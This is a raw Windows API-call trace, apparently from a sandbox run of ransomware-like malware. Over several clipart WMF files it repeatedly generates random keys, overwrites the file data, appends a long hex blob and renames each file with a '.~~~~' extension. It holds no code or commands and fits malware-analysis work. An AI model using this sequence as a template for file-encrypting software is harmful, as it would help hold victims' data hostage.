	[0103.148] WriteFile (in: hFile=0xc4, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x3040, lpOverlapped=0x0) returned 1
	[0103.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.149] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.149] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.150] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.150] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.150] CloseHandle (hObject=0xc4) returned 1
	[0103.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.~~~~")) returned 1
	[0103.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.151] GetLastError () returned 0x0
	[0103.162] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.163] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.164] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.164] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22315396793) returned 1
	[0103.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa72ca910, dwHighDateTime=0x1d60e1e)) 
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863910
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863910 | out: hHeap=0x300000) returned 1
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28670f0
	[0103.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.165] GetLastError () returned 0x0
	[0103.165] GetLastError () returned 0x0
	[0103.174] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.174] GetLastError () returned 0x0
	[0103.196] GetLastError () returned 0x0
	[0103.377] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc01e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.377] WriteFile (in: hFile=0xc4, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x3fe2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x3fe2, lpOverlapped=0x0) returned 1
	[0103.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.380] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.380] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.380] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.380] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.380] CloseHandle (hObject=0xc4) returned 1
	[0103.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.~~~~")) returned 1
	[0103.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.460] GetLastError () returned 0x0
	[0103.461] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.462] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.462] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.462] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22345190415) returned 1
	[0103.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa759e330, dwHighDateTime=0x1d60e1e)) 
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863a60
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863a60 | out: hHeap=0x300000) returned 1
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867188
	[0103.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.462] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.463] GetLastError () returned 0x0
	[0103.463] GetLastError () returned 0x0
	[0103.463] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.463] GetLastError () returned 0x0
	[0103.463] GetLastError () returned 0x0
	[0103.466] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd5bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.466] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x2a44, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x2a44, lpOverlapped=0x0) returned 1
	[0103.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.467] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.467] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.467] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.467] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.467] CloseHandle (hObject=0x128) returned 1
	[0103.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.~~~~")) returned 1
	[0103.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.469] GetLastError () returned 0x0
	[0103.469] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.471] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.471] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.471] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22346099885) returned 1
	[0103.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa75c4490, dwHighDateTime=0x1d60e1e)) 
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863a98
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863a98 | out: hHeap=0x300000) returned 1
	[0103.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28675b0
	[0103.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.472] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.472] GetLastError () returned 0x0
	[0103.472] GetLastError () returned 0x0
	[0103.472] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.472] GetLastError () returned 0x0
	[0103.473] GetLastError () returned 0x0
	[0103.476] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeda8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.476] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x1258, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x1258, lpOverlapped=0x0) returned 1
	[0103.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.476] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.477] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.477] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.477] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.477] CloseHandle (hObject=0x128) returned 1
	[0103.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.477] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.~~~~")) returned 1
	[0103.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.478] GetLastError () returned 0x0
	[0103.479] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.480] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0103.480] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0103.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.480] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22347037401) returned 1
	[0103.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa75c4490, dwHighDateTime=0x1d60e1e)) 
	[0103.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d000
	[0103.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d000 | out: hHeap=0x300000) returned 1
	[0103.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867648
	[0103.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.481] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.481] GetLastError () returned 0x0
	[0103.481] GetLastError () returned 0x0
	[0103.482] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.482] GetLastError () returned 0x0
	[0103.482] GetLastError () returned 0x0
	[0103.484] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff7cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.484] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x834, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x834, lpOverlapped=0x0) returned 1
	[0103.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.485] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.485] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.485] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.485] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.485] CloseHandle (hObject=0x128) returned 1
	[0103.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.~~~~")) returned 1
	[0103.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0103.486] GetLastError () returned 0x0
	[0103.487] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0103.488] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0103.488] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0103.488] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22347822156) returned 1
	[0103.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa75ea5f0, dwHighDateTime=0x1d60e1e)) 
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ce78
	[0103.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0103.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce78 | out: hHeap=0x300000) returned 1
	[0103.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0103.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28676e0
	[0103.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.489] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0103.489] GetLastError () returned 0x0
	[0103.489] GetLastError () returned 0x0
	[0103.489] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0103.489] GetLastError () returned 0x0
	[0103.489] GetLastError () returned 0x0
